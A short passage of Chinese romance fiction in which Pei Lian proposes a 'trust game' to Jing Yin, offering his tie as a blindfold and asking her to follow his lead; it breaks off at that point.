他像叙述一件再普通不过的事:“我应该做到的,是让你有百分之百的安全感。我一直在试图达到这个目标,可是我发现我一个人做不到,因为你并没有完全信任我。” “是吗?”景音喃喃,“我觉得,我还挺信任你的。” 裴涟轻笑着摇摇头。 “我们玩一个关于信任的游戏,你就明白了。” “行。怎么玩?” 景音看着裴涟一点点取下了自己的领带。 “来。”他睫羽微闪,向她伸出了手,“戴在眼睛上。接下来要做什么,全听我的。”